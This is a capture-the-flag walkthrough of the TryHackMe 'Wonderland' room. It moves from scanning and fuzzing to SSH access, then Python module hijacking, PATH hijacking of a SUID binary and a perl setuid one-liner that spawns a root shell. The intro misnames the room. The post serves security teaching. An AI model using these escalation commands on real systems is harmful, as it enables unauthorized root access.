Wonderland
Fall down the rabbit hole and enter wonderland.
Introduction
Hello everyone, today we’ll be taking a look at Attacktive Directory, a Medium rated room on TryHackMe. We’ll explore vertical movement in privilege escalation
Enumeration
Portscan
Let’s start with our usual port scan with rustscan. As always, I go with the -sV
(service versions) and -oN
(output normal) for the nmap scan that follows.
1
rustscan -a $TARGET_IP -- -sV -oN all_ports
1
2
3
4
┌──(kali㉿kali)-[~]
└─$ cat all_ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
What do we learn from this portscan ?
- The target is running Linux
- HTTP and SSH are running
HTTP (80)
I hit Ctrl+U on my keyboard to take a look at the source code, but nothing interesting. So I thought maybe trying some directoriy fuzzing could be a good idea ? You can use whatever you like (gobuster, dirbuster, dirb…). I’ll go with ffuf:
1
ffuf -u "http://$TARGET/FUZZ" -w /usr/share/wordlists/common.txt
1
2
3
img [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 364ms]
index.html [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 365ms]
r [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 372ms]
img
probably just contains images and we already saw index.html
. So let’s take a look at r
Taking a look at /r/
I guess we’ll keep going then, let’s try to fuzz the /r/
directory:
1
ffuf -u "http://$TARGET/r/FUZZ" -w /usr/share/wordlists/common.txt
1
2
a [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 368ms]
index.html [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 890ms]
It seems like it’s going letter by letter. Let’s use feroxbuster to fuzz recursively, using only letters:
1
feroxbuster -u http://$TARGET/ -w /opt/letters_a-z.txt -d 10
Recursively fuzzing with only letters
Okay we could’ve expected that cause the title of the index page was “follow the white rabbit”. Let’s just grab the source code to see what it’s all about. I’ll go with the http
command of httpie cause it have cool syntax highlighting which makes the output more readable:
Looks like SSH credentials ! That means that we can move on to the privesc part immediatly.
Privesc
Alice
Connecting
Let’s connect to the ssh service using alice creds with pwncat. I prefer to use pwncat
than a classic ssh client cause it’s more conveniant. With pwncat, I can upload/download files, automate tasks, run built-in privescs script and so on with.
If root.txt is in the user folder, user.txt is prolly in the root folder
Linpeas
Talking about uploading things, it’s time to upload linpeas:
It found 2 interesting privesc vectors:
1
2
3
4
╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
Sudoers file: /etc/sudoers.d/alice is readable
alice ALL = (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
1
2
3
4
Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
The cap_setuid
thing is a quick and easy win to get root on a machine, but Unfortunately:
1
2
(remote) alice@wonderland:/home/alice$ ls -la /usr/bin/perl5.26.1
-rwxr-xr-- 2 root hatter 2097720 Nov 19 2018 /usr/bin/perl5.26.1
Only root and users of the hatter group can execute it. So let’s delve in the sudo -l
thing.
Python script
So apparently, we can execute a python script as the rabbit
user. Here is the content of this python script:
1
2
3
4
5
6
7
8
import random
poem = """
......
"""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
First I thought: it’s in our home directory, let’s just modify it ! Unfortunately it’s owned by root, so we can’t edit it:
1
2
(remote) alice@wonderland:/home/alice$ ls -la walrus_and_the_carpenter.py
-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
So only thing that is exploitable here is the import random
. If we could somehow modify the random module, we would be able to escalate our privileges. There is a simple python command that allows you to see where python “searches” the modules that it imports:
1
2
3
4
5
6
7
8
9
10
11
12
(remote) alice@wonderland:/home/alice$ python3 -m site
sys.path = [
'/home/alice',
'/usr/lib/python36.zip',
'/usr/lib/python3.6',
'/usr/lib/python3.6/lib-dynload',
'/usr/local/lib/python3.6/dist-packages',
'/usr/lib/python3/dist-packages',
]
USER_BASE: '/home/alice/.local' (exists)
USER_SITE: '/home/alice/.local/lib/python3.6/site-packages' (doesn't exist)
ENABLE_USER_SITE: True
As you can see the first place where python will look is /home/alice. So if we create a file named random.py
in /home/alice, then run the python script, python will import /home/alice/random.py
. Cool isn’t it ?
Rabbit
Rabbit is also not part of the hatter group, so we still can’t execute perl
to get root. Not a big deal, let’s take a look at his home directory:
1
2
rabbit@wonderland:~$ ls -l
-rwsr-sr-x root root teaPary 16816 May 25 17:58 teaParty
Another suid binary owned by root ? Interesting. Let’s get it on our local host to analyze it with ltrace:
First the binary set the User ID
under which it runs to 1003
and the Group ID
under which it runs to 1003
(which is the UID and GID of hatter
).
1
2
(remote) rabbit@wonderland:/home/rabbit$ cat /etc/passwd | grep 1003
hatter:x:1003:1003:Mad Hatter,,,:/home/hatter:/bin/bash
Then is executes a system command but the command is truncated. Let’s use gdb to have a deeper understanding of what this fellow does:
1
gdb ./teaParty
Ok so the command that this binary executes is the date command.
There is a huge mistake in here: the binary is not calling the date
command with it’s full path (/usr/bin/date). That means that the shell will search in every directory in the $PATH environement variable if there is a command called date
. So by doing simple PATH hijacking we are able to escalate to hatter.
Hatter
There is still problem: look at the gid
of hatter (the terminal on the right side). It’s still rabbit
, and we saw earlier that perl
was executable only by users of the hatter
group. Fortunatelly, the authors of the CTF knew that:
1
2
(remote) hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?
So we can just SSH via pwncat:
1
2
3
4
5
6
pwncat ssh://hatter:WhyIsARavenLikeAWritingDesk?@$TARGET
[20:30:51] Welcome to pwncat !
10.10.189.75:22 registered new whost w/ db
(local) pwncat$ ^D
(remote) hatter@wonderland:/home/hatter$ id
uid=1003(hatter) gid=1003(hatter) group=1003(hatter)
Root
We finally have our user from the hatter
group, so we’re finally able to exploit the perl
with setuid capability.
Taking a look at GTFObins we find what we were looking for.
GTFObins perl SUID command to privesc
1
2
3
(remote) hatter@wonderland:/home/hatter$ /usr/bin/perl5.26.1 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
(remote) root@wonderland:/home/hatter$ cat /home/alice/root.txt
thm{REDACTED}